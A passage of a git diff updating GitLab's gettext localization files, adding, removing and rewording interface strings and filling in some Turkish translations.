+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index 321e0bed2d5..874baf45f33 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:48\n"
+"PO-Revision-Date: 2020-12-03 08:17\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,16 +170,16 @@ msgid_plural "%d days"
msgstr[0] "%d gün"
msgstr[1] "%d gün"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d hata"
msgstr[1] "%d hata"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d dışa aktaran"
@@ -351,24 +356,15 @@ msgstr "%{actionText} ve %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr "%{address} geçersiz bir IP adresi aralığıdır"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr "%{author_link} yazdı:"
msgid "%{authorsName}'s thread"
msgstr "%{authorsName} kiÅŸisinin konusu"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path} bulunamadı."
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "%{host} yeni konumdan oturum açma"
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} kaldırılacak! Emin misiniz?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}Sınıf:%{labelEnd} %{class}"
@@ -547,9 +552,6 @@ msgstr "%{labelStart}Bulgu:%{labelEnd}%{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}Dosya:%{labelEnd} %{file}"
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr "%{labelStart}Başlıklar:%{labelEnd} %{headers}"
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}Resim:%{labelEnd} %{image}"
@@ -565,14 +567,14 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Tarayıcı:%{labelEnd}%{scanner}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
+msgstr ""
+
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr "%{labelStart}Önem derecesi:%{labelEnd} %{severity}"
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr "%{labelStart}Durum:%{labelEnd}%{status}"
-
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr "%{labelStart}URL:%{labelEnd}%{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
+msgstr ""
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} kullanılamaz"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, ve %{awardsListLength} dahası."
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Başladı"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] "%{releases} sürüm"
msgid "%{remaining_approvals} left"
msgstr "%{remaining_approvals} ayrıldı"
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Dal"
@@ -889,6 +870,9 @@ msgstr "%{userName} kullanıcısının profil resmi"
msgid "%{user_name} profile page"
msgstr "%{user_name} profil sayfası"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username} kullanıcısının profil resmi"
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr "&lt; 1 saat"
-msgid "&lt;no scopes selected&gt;"
-msgstr "&lt;no scopes selected&gt;"
-
-msgid "&lt;project name&gt;"
-msgstr "&lt;project name&gt;"
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1089,8 +1067,8 @@ msgstr[1] "%d gün"
msgid "1 deploy key"
msgid_plural "%d deploy keys"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "1 dağıtım anahtarı"
+msgstr[1] "%d dağıtım anahtarı"
msgid "1 group"
msgid_plural "%d groups"
@@ -1405,7 +1383,7 @@ msgid "Access to Pages websites are controlled based on the user's membership to
msgstr ""
msgid "AccessDropdown|Deploy Keys"
-msgstr ""
+msgstr "Dağıtım Anahtarları"
msgid "AccessDropdown|Groups"
msgstr "Gruplar"
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr "Eylemler"
-msgid "Activate"
-msgstr "EtkinleÅŸtir"
-
msgid "Activate Service Desk"
msgstr "Servis Masasını Etkinleştir"
@@ -1856,9 +1831,15 @@ msgstr "Yönetici modu etkinleştirildi"
msgid "Admin notes"
msgstr "Yönetici notları"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr "Etkin kullanıcılar"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr "Faturalandırılabilir kullanıcılar"
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Etkin"
@@ -2129,18 +2119,21 @@ msgstr "Engellendi"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Kullanıcıyı engelleme aşağıdaki etkilere sahiptir:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "LDAP engelli kullanıcıların engellemesini kaldıramıyor"
msgid "AdminUsers|Deactivate"
msgstr "Devre dışı bırak"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "%{username} kullanıcısı devre dışı bırakılsın mı?"
-
msgid "AdminUsers|Deactivate user"
msgstr "Kullanıcıyı devre dışı bırak"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "Devre dışı bırakıldı"
@@ -2165,6 +2158,9 @@ msgstr "Harici"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr "Koltuğu kullanıyor"
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr "Onaylamak için, %{projectName} yazın"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Onaylamak için, %{username} yazın"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Kullanıcı git depolarına erişemeyecek"
@@ -2249,6 +2263,9 @@ msgstr "Kullanıcı oturum açamayacak"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Projeler olmadan"
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr "Yönetim"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2408,10 +2440,10 @@ msgid "AlertManagement|Open"
msgstr "Aç"
msgid "AlertManagement|Opsgenie is enabled"
-msgstr ""
+msgstr "Opsgenie etkinleÅŸtirildi"
msgid "AlertManagement|Please try again."
-msgstr ""
+msgstr "Lütfen tekrar deneyin."
msgid "AlertManagement|Reported %{when}"
msgstr ""
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
